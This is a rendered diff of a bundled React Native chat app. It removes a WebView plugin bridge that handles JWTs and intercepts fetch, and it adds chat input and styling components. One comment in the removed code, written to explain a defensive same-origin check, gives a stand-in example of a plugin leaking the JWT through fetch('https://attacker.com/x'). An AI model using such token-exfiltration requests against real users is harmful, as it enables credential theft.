|
+
top: 6,
|
|
1379
|
+
right: 6,
|
|
1380
|
+
backgroundColor: "#5A8A5C",
|
|
1381
|
+
paddingHorizontal: 8,
|
|
1382
|
+
paddingVertical: 2,
|
|
1383
|
+
borderRadius: borderRadius3.sm
|
|
1384
|
+
},
|
|
1385
|
+
copiedText: {
|
|
1386
|
+
color: "#fff",
|
|
1387
|
+
fontSize: fontSize4.xs,
|
|
1388
|
+
fontWeight: "600"
|
|
1389
|
+
},
|
|
1390
|
+
toolCalls: {
|
|
1391
|
+
marginTop: 8,
|
|
1392
|
+
borderTopWidth: 1,
|
|
1393
|
+
borderTopColor: ada6.border,
|
|
1394
|
+
paddingTop: 6
|
|
1395
|
+
},
|
|
1396
|
+
toolToggle: {
|
|
1397
|
+
flexDirection: "row",
|
|
1398
|
+
alignItems: "center",
|
|
1399
|
+
gap: 6
|
|
1400
|
+
},
|
|
1401
|
+
toolLabel: {
|
|
1402
|
+
color: ada6.inkSoft,
|
|
1403
|
+
fontSize: fontSize4.xs,
|
|
1404
|
+
fontWeight: "500"
|
|
1405
|
+
},
|
|
1406
|
+
toolChevron: {
|
|
1407
|
+
color: ada6.inkMuted,
|
|
1408
|
+
fontSize: 8
|
|
1409
|
+
},
|
|
1410
|
+
toolItem: {
|
|
1411
|
+
marginTop: 4,
|
|
1412
|
+
paddingLeft: 8
|
|
1413
|
+
},
|
|
1414
|
+
toolName: {
|
|
1415
|
+
color: ada6.inkSoft,
|
|
1416
|
+
fontSize: fontSize4.xs,
|
|
1417
|
+
fontFamily: "monospace"
|
|
1418
|
+
},
|
|
1419
|
+
toolSkill: {
|
|
1420
|
+
color: ada6.orangeDeep,
|
|
1421
|
+
fontSize: fontSize4.xs
|
|
1077
1422
|
}
|
|
1078
|
-
});
|
|
1079
|
-
|
|
1080
|
-
|
|
1081
|
-
|
|
1082
|
-
|
|
1083
|
-
|
|
1084
|
-
|
|
1085
|
-
|
|
1086
|
-
|
|
1087
|
-
|
|
1088
|
-
|
|
1089
|
-
}
|
|
1090
|
-
|
|
1091
|
-
|
|
1092
|
-
|
|
1093
|
-
|
|
1094
|
-
|
|
1095
|
-
|
|
1096
|
-
|
|
1097
|
-
|
|
1098
|
-
|
|
1099
|
-
|
|
1100
|
-
|
|
1101
|
-
|
|
1102
|
-
|
|
1103
|
-
|
|
1104
|
-
|
|
1105
|
-
|
|
1106
|
-
|
|
1107
|
-
|
|
1108
|
-
|
|
1109
|
-
|
|
1110
|
-
|
|
1111
|
-
|
|
1112
|
-
|
|
1113
|
-
|
|
1114
|
-
|
|
1115
|
-
|
|
1116
|
-
|
|
1117
|
-
|
|
1118
|
-
|
|
1119
|
-
|
|
1120
|
-
|
|
1121
|
-
|
|
1122
|
-
|
|
1123
|
-
|
|
1124
|
-
});
|
|
1125
|
-
webViewRef.current?.postMessage(msg);
|
|
1126
|
-
}, [pluginId, connectorId]);
|
|
1127
|
-
const sendToPlugin = useCallback4(
|
|
1128
|
-
(type, payload) => {
|
|
1129
|
-
const msg = JSON.stringify({
|
|
1130
|
-
source: "adas-host",
|
|
1131
|
-
message: { type, payload }
|
|
1132
|
-
});
|
|
1133
|
-
webViewRef.current?.postMessage(msg);
|
|
1134
|
-
},
|
|
1135
|
-
[]
|
|
1136
|
-
);
|
|
1137
|
-
const dispatchToWebView = useCallback4((cmd) => {
|
|
1138
|
-
if (cmd.command === "__focus") return;
|
|
1139
|
-
const msg = JSON.stringify({
|
|
1140
|
-
source: "adas-host",
|
|
1141
|
-
pluginId,
|
|
1142
|
-
message: {
|
|
1143
|
-
type: "plugin.command",
|
|
1144
|
-
payload: {
|
|
1145
|
-
command: cmd.command,
|
|
1146
|
-
args: cmd.args,
|
|
1147
|
-
correlationId: cmd.correlationId
|
|
1148
|
-
}
|
|
1149
|
-
}
|
|
1150
|
-
});
|
|
1151
|
-
webViewRef.current?.postMessage(msg);
|
|
1152
|
-
}, [pluginId]);
|
|
1153
|
-
useEffect4(() => {
|
|
1154
|
-
const unsub = pluginCommandEmitter2.on("plugin-command", (cmd) => {
|
|
1155
|
-
if (cmd.pluginId !== pluginId) return;
|
|
1156
|
-
dispatchToWebView(cmd);
|
|
1157
|
-
});
|
|
1158
|
-
return unsub;
|
|
1159
|
-
}, [pluginId, dispatchToWebView]);
|
|
1160
|
-
useEffect4(() => {
|
|
1161
|
-
if (!commandBufferRef) return;
|
|
1162
|
-
const timer = setTimeout(() => {
|
|
1163
|
-
const buf = commandBufferRef.current;
|
|
1164
|
-
const remaining = [];
|
|
1165
|
-
for (const cmd of buf) {
|
|
1166
|
-
if (cmd.pluginId === pluginId) {
|
|
1167
|
-
dispatchToWebView(cmd);
|
|
1168
|
-
} else {
|
|
1169
|
-
remaining.push(cmd);
|
|
1170
|
-
}
|
|
1171
|
-
}
|
|
1172
|
-
commandBufferRef.current = remaining;
|
|
1173
|
-
}, 1e3);
|
|
1174
|
-
return () => clearTimeout(timer);
|
|
1175
|
-
}, [pluginId, commandBufferRef, dispatchToWebView]);
|
|
1176
|
-
const handleMessage = useCallback4(
|
|
1177
|
-
async (event) => {
|
|
1178
|
-
let data;
|
|
1179
|
-
try {
|
|
1180
|
-
data = JSON.parse(event.nativeEvent.data);
|
|
1181
|
-
} catch {
|
|
1182
|
-
return;
|
|
1183
|
-
}
|
|
1184
|
-
if (data.source !== "adas-plugin") return;
|
|
1185
|
-
const action = data.message?.action || data.action;
|
|
1186
|
-
const payload = data.message?.payload || data.payload;
|
|
1187
|
-
const type = data.message?.type || data.type;
|
|
1188
|
-
if (action === "mcp-fetch" && payload?.requestId) {
|
|
1189
|
-
const { requestId, body } = payload;
|
|
1190
|
-
try {
|
|
1191
|
-
const result = await mcpFetch(body);
|
|
1192
|
-
sendToPlugin("mcp-fetch-result", { requestId, result, error: null });
|
|
1193
|
-
} catch (err) {
|
|
1194
|
-
console.warn("[PluginBridge] mcp-fetch ERROR:", err.message);
|
|
1195
|
-
sendToPlugin("mcp-fetch-result", { requestId, result: null, error: err.message });
|
|
1196
|
-
}
|
|
1197
|
-
return;
|
|
1198
|
-
}
|
|
1199
|
-
if (action === "mcp-call" && payload?.requestId) {
|
|
1200
|
-
const { requestId, toolName, args: callArgs } = payload;
|
|
1201
|
-
if (toolName) {
|
|
1202
|
-
try {
|
|
1203
|
-
const rpcResponse = await mcpToolCall(toolName, callArgs || {});
|
|
1204
|
-
const result = rpcResponse?.result ?? rpcResponse;
|
|
1205
|
-
sendToPlugin("mcp-result", { requestId, result, error: null });
|
|
1206
|
-
} catch (err) {
|
|
1207
|
-
sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
|
|
1208
|
-
}
|
|
1209
|
-
return;
|
|
1210
|
-
}
|
|
1211
|
-
const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
|
|
1212
|
-
const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
|
|
1213
|
-
const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
|
|
1214
|
-
if (!cId || !tool) {
|
|
1215
|
-
console.error(`[PluginBridge] mcp-call missing params \u2014 connectorId: ${cId}, tool: ${tool}`);
|
|
1216
|
-
sendToPlugin("mcp-result", { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
|
|
1217
|
-
return;
|
|
1218
|
-
}
|
|
1219
|
-
try {
|
|
1220
|
-
const data2 = await connectorCall(cId, tool, toolArgs);
|
|
1221
|
-
if (data2.ok) {
|
|
1222
|
-
sendToPlugin("mcp-result", { requestId, result: data2.result, error: null });
|
|
1223
|
-
} else {
|
|
1224
|
-
sendToPlugin("mcp-result", { requestId, result: null, error: data2.error || "MCP call failed" });
|
|
1225
|
-
}
|
|
1226
|
-
} catch (err) {
|
|
1227
|
-
sendToPlugin("mcp-result", { requestId, result: null, error: err.message });
|
|
1228
|
-
}
|
|
1229
|
-
return;
|
|
1230
|
-
}
|
|
1231
|
-
if (action === "close") {
|
|
1232
|
-
pluginCommandEmitter2.emit("plugin-close", { pluginId });
|
|
1233
|
-
return;
|
|
1234
|
-
}
|
|
1235
|
-
if (type === "plugin.command.result" && payload?.correlationId) {
|
|
1236
|
-
const ws = wsRef?.current;
|
|
1237
|
-
if (ws && ws.readyState === WebSocket.OPEN) {
|
|
1238
|
-
try {
|
|
1239
|
-
ws.send(JSON.stringify({
|
|
1240
|
-
type: "plugin-command-result",
|
|
1241
|
-
correlationId: payload.correlationId,
|
|
1242
|
-
result: payload.result,
|
|
1243
|
-
error: payload.error
|
|
1244
|
-
}));
|
|
1245
|
-
} catch (err) {
|
|
1246
|
-
console.warn("[PluginBridge] WS send failed, falling back to POST:", err.message);
|
|
1247
|
-
await postCommandResult(payload.correlationId, payload.result, payload.error).catch(() => {
|
|
1248
|
-
});
|
|
1249
|
-
}
|
|
1250
|
-
} else {
|
|
1251
|
-
try {
|
|
1252
|
-
await postCommandResult(payload.correlationId, payload.result, payload.error);
|
|
1253
|
-
} catch (err) {
|
|
1254
|
-
console.warn("[PluginBridge] Failed to send command result:", err.message);
|
|
1255
|
-
}
|
|
1256
|
-
}
|
|
1257
|
-
return;
|
|
1258
|
-
}
|
|
1259
|
-
},
|
|
1260
|
-
[sendToPlugin]
|
|
1261
|
-
);
|
|
1262
|
-
return {
|
|
1263
|
-
webViewRef,
|
|
1264
|
-
sendInit,
|
|
1265
|
-
handleMessage
|
|
1266
|
-
};
|
|
1267
|
-
}
|
|
1268
|
-
function buildPluginBridgeJS(jwt, tenant) {
|
|
1269
|
-
return `
|
|
1270
|
-
(function() {
|
|
1271
|
-
function _dbg(msg) {
|
|
1272
|
-
console.log('[PluginBridge] ' + msg);
|
|
1273
|
-
}
|
|
1274
|
-
|
|
1275
|
-
// 1. Seed localStorage. JWT is required by web-shared plugin code
|
|
1276
|
-
// (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
|
|
1277
|
-
// lives in EmbeddedPluginWebView (originWhitelist +
|
|
1278
|
-
// onShouldStartLoadWithRequest) \u2014 not here. Never log the token.
|
|
1279
|
-
try {
|
|
1280
|
-
localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
|
|
1281
|
-
localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
|
|
1282
|
-
_dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
|
|
1283
|
-
} catch(e) { _dbg('localStorage ERROR: ' + e.message); }
|
|
1284
|
-
|
|
1285
|
-
// 2. Intercept ALL fetch calls \u2014 proxy /mcp through the RN bridge
|
|
1286
|
-
var _origFetch = window.fetch.bind(window);
|
|
1287
|
-
var _mcpReqId = 0;
|
|
1288
|
-
var _pendingMcp = {};
|
|
1289
|
-
|
|
1290
|
-
window.fetch = function(url, opts) {
|
|
1291
|
-
var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
|
|
1292
|
-
var method = (opts && opts.method) || 'GET';
|
|
1293
|
-
|
|
1294
|
-
_dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
|
|
1295
|
-
|
|
1296
|
-
// Intercept /mcp calls
|
|
1297
|
-
if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
|
|
1298
|
-
_dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');
|
|
1299
|
-
return new Promise(function(resolve, reject) {
|
|
1300
|
-
var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
|
|
1301
|
-
_pendingMcp[requestId] = { resolve: resolve, reject: reject };
|
|
1302
|
-
window.ReactNativeWebView.postMessage(JSON.stringify({
|
|
1303
|
-
source: 'adas-plugin',
|
|
1304
|
-
action: 'mcp-fetch',
|
|
1305
|
-
payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
|
|
1306
|
-
}));
|
|
1307
|
-
setTimeout(function() {
|
|
1308
|
-
if (_pendingMcp[requestId]) {
|
|
1309
|
-
delete _pendingMcp[requestId];
|
|
1310
|
-
_dbg('TIMEOUT mcp-fetch ' + requestId);
|
|
1311
|
-
reject(new Error('MCP fetch timeout (30s)'));
|
|
1312
|
-
}
|
|
1313
|
-
}, 30000);
|
|
1314
|
-
});
|
|
1315
|
-
}
|
|
1316
|
-
|
|
1317
|
-
// Inject Authorization header ONLY for same-origin requests. A relative
|
|
1318
|
-
// path resolves against window.location.origin; an absolute URL must
|
|
1319
|
-
// literally match. This stops a plugin from leaking the JWT to a foreign
|
|
1320
|
-
// host via fetch('https://attacker.com/x') or via <base href>.
|
|
1321
|
-
var sameOrigin = false;
|
|
1322
|
-
try {
|
|
1323
|
-
var resolved = new URL(urlStr, window.location.origin);
|
|
1324
|
-
sameOrigin = (resolved.origin === window.location.origin);
|
|
1325
|
-
} catch (_) { sameOrigin = false; }
|
|
1326
|
-
if (sameOrigin) {
|
|
1327
|
-
opts = Object.assign({}, opts || {});
|
|
1328
|
-
var h = opts.headers;
|
|
1329
|
-
if (h instanceof Headers) {
|
|
1330
|
-
if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
|
|
1331
|
-
} else {
|
|
1332
|
-
h = Object.assign({}, h || {});
|
|
1333
|
-
if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
|
|
1334
|
-
opts.headers = h;
|
|
1335
|
-
}
|
|
1336
|
-
}
|
|
1337
|
-
|
|
1338
|
-
return _origFetch(url, opts).then(function(res) {
|
|
1339
|
-
_dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));
|
|
1340
|
-
return res;
|
|
1341
|
-
}).catch(function(err) {
|
|
1342
|
-
_dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
|
|
1343
|
-
throw err;
|
|
1344
|
-
});
|
|
1345
|
-
};
|
|
1346
|
-
|
|
1347
|
-
// Handle results from RN host
|
|
1348
|
-
function _handleHostMessage(d) {
|
|
1349
|
-
if (!d || d.source !== 'adas-host') return;
|
|
1350
|
-
var msg = d.message || {};
|
|
1351
|
-
|
|
1352
|
-
// mcp-fetch-result: response to intercepted fetch("/mcp")
|
|
1353
|
-
if (msg.type === 'mcp-fetch-result' && msg.payload) {
|
|
1354
|
-
var p = msg.payload;
|
|
1355
|
-
var pending = _pendingMcp[p.requestId];
|
|
1356
|
-
if (pending) {
|
|
1357
|
-
delete _pendingMcp[p.requestId];
|
|
1358
|
-
if (p.error) {
|
|
1359
|
-
pending.reject(new Error(p.error));
|
|
1360
|
-
} else {
|
|
1361
|
-
pending.resolve(new Response(JSON.stringify(p.result), {
|
|
1362
|
-
status: 200,
|
|
1363
|
-
headers: { 'Content-Type': 'application/json' }
|
|
1364
|
-
}));
|
|
1365
|
-
}
|
|
1366
|
-
}
|
|
1367
|
-
}
|
|
1423
|
+
});
|
|
1424
|
+
var markdownStyles = StyleSheet6.create({
|
|
1425
|
+
body: {
|
|
1426
|
+
color: ada6.botBubbleText,
|
|
1427
|
+
fontSize: fontSize4.md,
|
|
1428
|
+
lineHeight: 22,
|
|
1429
|
+
fontFamily: fontFam3
|
|
1430
|
+
},
|
|
1431
|
+
paragraph: {
|
|
1432
|
+
marginTop: 0,
|
|
1433
|
+
marginBottom: 4
|
|
1434
|
+
},
|
|
1435
|
+
strong: {
|
|
1436
|
+
fontWeight: "700",
|
|
1437
|
+
color: ada6.botBubbleText
|
|
1438
|
+
},
|
|
1439
|
+
em: {
|
|
1440
|
+
fontStyle: "italic"
|
|
1441
|
+
},
|
|
1442
|
+
code_inline: {
|
|
1443
|
+
backgroundColor: ada6.paperDeep,
|
|
1444
|
+
color: ada6.orangeDeep,
|
|
1445
|
+
paddingHorizontal: 5,
|
|
1446
|
+
paddingVertical: 1,
|
|
1447
|
+
borderRadius: 4,
|
|
1448
|
+
fontFamily: "monospace",
|
|
1449
|
+
fontSize: fontSize4.sm
|
|
1450
|
+
},
|
|
1451
|
+
fence: {
|
|
1452
|
+
backgroundColor: ada6.paperDeep,
|
|
1453
|
+
padding: 10,
|
|
1454
|
+
borderRadius: 10
|
|
1455
|
+
},
|
|
1456
|
+
fenceText: {
|
|
1457
|
+
fontFamily: "monospace",
|
|
1458
|
+
fontSize: fontSize4.sm,
|
|
1459
|
+
color: ada6.ink
|
|
1460
|
+
},
|
|
1461
|
+
link: {
|
|
1462
|
+
color: ada6.orangeDeep
|
|
1463
|
+
},
|
|
1464
|
+
list_item: {
|
|
1465
|
+
color: ada6.botBubbleText
|
|
1466
|
+
},
|
|
1467
|
+
bullet_list: {
|
|
1468
|
+
marginVertical: 4
|
|
1368
1469
|
}
|
|
1470
|
+
});
|
|
1369
1471
|
|
|
1370
|
-
|
|
1371
|
-
|
|
1372
|
-
|
|
1373
|
-
|
|
1374
|
-
|
|
1375
|
-
|
|
1376
|
-
};
|
|
1377
|
-
|
|
1378
|
-
// 4. Also intercept direct window.postMessage
|
|
1379
|
-
var origPost = window.postMessage.bind(window);
|
|
1380
|
-
window.postMessage = function(data, origin) {
|
|
1381
|
-
if (data && data.source === 'adas-plugin') {
|
|
1382
|
-
window.ReactNativeWebView.postMessage(JSON.stringify(data));
|
|
1383
|
-
}
|
|
1384
|
-
origPost(data, origin);
|
|
1385
|
-
};
|
|
1386
|
-
|
|
1387
|
-
// 5. Forward messages from RN host -> plugin
|
|
1388
|
-
// iOS: window 'message' event, Android: document 'message' event
|
|
1389
|
-
window.addEventListener('message', function(e) {
|
|
1390
|
-
try {
|
|
1391
|
-
var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
|
|
1392
|
-
if (d && d.source === 'adas-host') {
|
|
1393
|
-
_handleHostMessage(d);
|
|
1394
|
-
if (typeof e.data === 'string') {
|
|
1395
|
-
window.dispatchEvent(new MessageEvent('message', { data: d }));
|
|
1396
|
-
}
|
|
1397
|
-
}
|
|
1398
|
-
} catch(_) {}
|
|
1399
|
-
});
|
|
1400
|
-
|
|
1401
|
-
document.addEventListener('message', function(e) {
|
|
1402
|
-
try {
|
|
1403
|
-
var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
|
|
1404
|
-
_handleHostMessage(d);
|
|
1405
|
-
window.dispatchEvent(new MessageEvent('message', { data: d }));
|
|
1406
|
-
} catch(_) {}
|
|
1407
|
-
});
|
|
1408
|
-
|
|
1409
|
-
_dbg('Bridge JS loaded. Waiting for plugin...');
|
|
1410
|
-
true;
|
|
1411
|
-
})();
|
|
1412
|
-
`;
|
|
1472
|
+
// src/chat/TypingIndicator.tsx
|
|
1473
|
+
import { View as View8, StyleSheet as StyleSheet7 } from "react-native";
|
|
1474
|
+
import { AdaOrb as AdaOrb2 } from "@ateam-ai-mobile/plugin-runtime";
|
|
1475
|
+
import { jsx as jsx9 } from "react/jsx-runtime";
|
|
1476
|
+
function TypingIndicator() {
|
|
1477
|
+
return /* @__PURE__ */ jsx9(View8, { style: styles7.row, children: /* @__PURE__ */ jsx9(AdaOrb2, { size: 32, state: "thinking" }) });
|
|
1413
1478
|
}
|
|
1479
|
+
var styles7 = StyleSheet7.create({
|
|
1480
|
+
row: {
|
|
1481
|
+
flexDirection: "row",
|
|
1482
|
+
alignItems: "center",
|
|
1483
|
+
marginBottom: 12,
|
|
1484
|
+
paddingHorizontal: 16,
|
|
1485
|
+
paddingVertical: 4
|
|
1486
|
+
}
|
|
1487
|
+
});
|
|
1414
1488
|
|
|
1415
|
-
// src/
|
|
1416
|
-
import {
|
|
1417
|
-
|
|
1418
|
-
|
|
1419
|
-
|
|
1420
|
-
|
|
1421
|
-
|
|
1422
|
-
|
|
1423
|
-
|
|
1424
|
-
|
|
1425
|
-
|
|
1426
|
-
|
|
1427
|
-
|
|
1428
|
-
|
|
1429
|
-
|
|
1430
|
-
|
|
1431
|
-
|
|
1432
|
-
|
|
1433
|
-
|
|
1434
|
-
|
|
1435
|
-
|
|
1436
|
-
}, []);
|
|
1437
|
-
const isAllowedPluginUrl = useCallback5((rawUrl) => {
|
|
1438
|
-
if (!rawUrl) return false;
|
|
1439
|
-
let parsed;
|
|
1440
|
-
try {
|
|
1441
|
-
parsed = new URL(rawUrl);
|
|
1442
|
-
} catch {
|
|
1443
|
-
return false;
|
|
1489
|
+
// src/chat/ChatInput.tsx
|
|
1490
|
+
import { useState as useState5, useRef as useRef3, useCallback as useCallback4, useEffect as useEffect5 } from "react";
|
|
1491
|
+
import {
|
|
1492
|
+
View as View9,
|
|
1493
|
+
TextInput,
|
|
1494
|
+
Pressable as Pressable4,
|
|
1495
|
+
StyleSheet as StyleSheet8,
|
|
1496
|
+
Platform as Platform5
|
|
1497
|
+
} from "react-native";
|
|
1498
|
+
import Svg, { Path, Line, Polygon } from "react-native-svg";
|
|
1499
|
+
import { colors as colors2, borderRadius as borderRadius4 } from "@ateam-ai-mobile/core";
|
|
1500
|
+
import { getHaptics as getHaptics3 } from "@ateam-ai-mobile/plugin-runtime";
|
|
1501
|
+
import { jsx as jsx10, jsxs as jsxs7 } from "react/jsx-runtime";
|
|
1502
|
+
function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
|
|
1503
|
+
const [text, setText] = useState5("");
|
|
1504
|
+
const [height, setHeight] = useState5(40);
|
|
1505
|
+
const inputRef = useRef3(null);
|
|
1506
|
+
useEffect5(() => {
|
|
1507
|
+
if (prefill) {
|
|
1508
|
+
setText(prefill);
|
|
1509
|
+
inputRef.current?.focus();
|
|
1444
1510
|
}
|
|
1445
|
-
|
|
1446
|
-
|
|
1447
|
-
|
|
1448
|
-
|
|
1449
|
-
|
|
1450
|
-
()
|
|
1451
|
-
|
|
1452
|
-
|
|
1453
|
-
|
|
1454
|
-
|
|
1455
|
-
|
|
1456
|
-
|
|
1457
|
-
|
|
1458
|
-
|
|
1459
|
-
|
|
1460
|
-
|
|
1461
|
-
|
|
1462
|
-
|
|
1463
|
-
|
|
1464
|
-
|
|
1465
|
-
|
|
1466
|
-
|
|
1467
|
-
|
|
1468
|
-
|
|
1469
|
-
|
|
1470
|
-
|
|
1471
|
-
|
|
1472
|
-
if (!isAllowedPluginUrl(req.url)) {
|
|
1473
|
-
console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
|
|
1474
|
-
return false;
|
|
1475
|
-
}
|
|
1476
|
-
return true;
|
|
1477
|
-
},
|
|
1478
|
-
injectedJavaScriptBeforeContentLoaded: bridgeJS,
|
|
1479
|
-
onMessage: handleMessage,
|
|
1480
|
-
onLoad: () => {
|
|
1481
|
-
setTimeout(sendInit, 100);
|
|
1482
|
-
setTimeout(sendInit, 500);
|
|
1483
|
-
setTimeout(sendInit, 1200);
|
|
1484
|
-
},
|
|
1485
|
-
onError: (syntheticEvent) => {
|
|
1486
|
-
const { nativeEvent } = syntheticEvent;
|
|
1487
|
-
console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
|
|
1488
|
-
setError(`WebView error: ${nativeEvent.description}`);
|
|
1489
|
-
},
|
|
1490
|
-
onHttpError: (syntheticEvent) => {
|
|
1491
|
-
const { nativeEvent } = syntheticEvent;
|
|
1492
|
-
console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
|
|
1493
|
-
if (nativeEvent.statusCode >= 400) {
|
|
1494
|
-
setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
|
|
1511
|
+
}, [prefill]);
|
|
1512
|
+
const handleSend = useCallback4(() => {
|
|
1513
|
+
const trimmed = text.trim();
|
|
1514
|
+
if (!trimmed) return;
|
|
1515
|
+
getHaptics3()?.impact("light");
|
|
1516
|
+
onSend(trimmed);
|
|
1517
|
+
setText("");
|
|
1518
|
+
setHeight(40);
|
|
1519
|
+
}, [text, loading, onSend]);
|
|
1520
|
+
const canSend = text.trim().length > 0;
|
|
1521
|
+
return /* @__PURE__ */ jsx10(View9, { style: styles8.dock, children: /* @__PURE__ */ jsxs7(View9, { style: styles8.inputRow, children: [
|
|
1522
|
+
onCallStart && /* @__PURE__ */ jsx10(Pressable4, { style: styles8.callBtn, onPress: onCallStart, children: /* @__PURE__ */ jsx10(Svg, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: colors2.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ jsx10(Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
|
|
1523
|
+
/* @__PURE__ */ jsx10(
|
|
1524
|
+
TextInput,
|
|
1525
|
+
{
|
|
1526
|
+
ref: inputRef,
|
|
1527
|
+
style: [styles8.input, { height: Math.min(Math.max(40, height), 120) }],
|
|
1528
|
+
value: text,
|
|
1529
|
+
onChangeText: setText,
|
|
1530
|
+
onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
|
|
1531
|
+
placeholder: placeholder || "Message A-Team...",
|
|
1532
|
+
placeholderTextColor: colors2.light.textMuted,
|
|
1533
|
+
multiline: true,
|
|
1534
|
+
returnKeyType: "default",
|
|
1535
|
+
blurOnSubmit: false,
|
|
1536
|
+
onSubmitEditing: () => {
|
|
1537
|
+
if (Platform5.OS === "web") handleSend();
|
|
1495
1538
|
}
|
|
1496
|
-
}
|
|
1497
|
-
|
|
1498
|
-
|
|
1499
|
-
|
|
1500
|
-
|
|
1501
|
-
|
|
1502
|
-
|
|
1503
|
-
|
|
1504
|
-
|
|
1539
|
+
}
|
|
1540
|
+
),
|
|
1541
|
+
/* @__PURE__ */ jsx10(
|
|
1542
|
+
Pressable4,
|
|
1543
|
+
{
|
|
1544
|
+
style: [styles8.sendBtn, canSend && styles8.sendBtnActive],
|
|
1545
|
+
onPress: handleSend,
|
|
1546
|
+
disabled: !canSend,
|
|
1547
|
+
children: /* @__PURE__ */ jsxs7(Svg, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : colors2.light.textMuted, strokeWidth: 2, children: [
|
|
1548
|
+
/* @__PURE__ */ jsx10(Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
|
|
1549
|
+
/* @__PURE__ */ jsx10(Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
|
|
1550
|
+
] })
|
|
1551
|
+
}
|
|
1552
|
+
)
|
|
1553
|
+
] }) });
|
|
1505
1554
|
}
|
|
1506
|
-
var
|
|
1507
|
-
|
|
1508
|
-
|
|
1509
|
-
|
|
1555
|
+
var styles8 = StyleSheet8.create({
|
|
1556
|
+
dock: {
|
|
1557
|
+
paddingHorizontal: 12,
|
|
1558
|
+
paddingVertical: 8,
|
|
1559
|
+
backgroundColor: colors2.light.bgPrimary,
|
|
1560
|
+
borderTopWidth: 0.5,
|
|
1561
|
+
borderTopColor: colors2.light.border
|
|
1510
1562
|
},
|
|
1511
|
-
|
|
1512
|
-
|
|
1513
|
-
|
|
1514
|
-
|
|
1515
|
-
|
|
1516
|
-
|
|
1563
|
+
inputRow: {
|
|
1564
|
+
flexDirection: "row",
|
|
1565
|
+
alignItems: "flex-end",
|
|
1566
|
+
backgroundColor: colors2.light.bgInput,
|
|
1567
|
+
borderRadius: borderRadius4.xl,
|
|
1568
|
+
borderWidth: 1,
|
|
1569
|
+
borderColor: colors2.light.border,
|
|
1570
|
+
paddingHorizontal: 4,
|
|
1571
|
+
paddingVertical: 4,
|
|
1572
|
+
gap: 4
|
|
1517
1573
|
},
|
|
1518
|
-
|
|
1519
|
-
|
|
1520
|
-
|
|
1521
|
-
|
|
1574
|
+
callBtn: {
|
|
1575
|
+
width: 36,
|
|
1576
|
+
height: 36,
|
|
1577
|
+
borderRadius: 18,
|
|
1578
|
+
justifyContent: "center",
|
|
1579
|
+
alignItems: "center"
|
|
1522
1580
|
},
|
|
1523
|
-
|
|
1581
|
+
input: {
|
|
1524
1582
|
flex: 1,
|
|
1525
|
-
|
|
1583
|
+
fontSize: 16,
|
|
1584
|
+
color: colors2.light.textPrimary,
|
|
1585
|
+
paddingHorizontal: 8,
|
|
1586
|
+
paddingVertical: 8,
|
|
1587
|
+
maxHeight: 120
|
|
1526
1588
|
},
|
|
1527
|
-
|
|
1528
|
-
|
|
1529
|
-
|
|
1530
|
-
|
|
1531
|
-
right: 0,
|
|
1532
|
-
bottom: 0,
|
|
1589
|
+
sendBtn: {
|
|
1590
|
+
width: 36,
|
|
1591
|
+
height: 36,
|
|
1592
|
+
borderRadius: 18,
|
|
1533
1593
|
justifyContent: "center",
|
|
1534
1594
|
alignItems: "center",
|
|
1535
|
-
backgroundColor:
|
|
1536
|
-
gap: 12
|
|
1595
|
+
backgroundColor: colors2.light.bgTertiary
|
|
1537
1596
|
},
|
|
1538
|
-
|
|
1539
|
-
|
|
1540
|
-
fontSize: 14
|
|
1597
|
+
sendBtnActive: {
|
|
1598
|
+
backgroundColor: colors2.light.accent
|
|
1541
1599
|
}
|
|
1542
1600
|
});
|
|
1543
1601
|
|
|
1544
|
-
// src/
|
|
1545
|
-
import {
|
|
1546
|
-
|
|
1547
|
-
|
|
1548
|
-
|
|
1549
|
-
|
|
1550
|
-
|
|
1551
|
-
|
|
1552
|
-
|
|
1553
|
-
|
|
1554
|
-
|
|
1555
|
-
|
|
1602
|
+
// src/Lightbox.tsx
|
|
1603
|
+
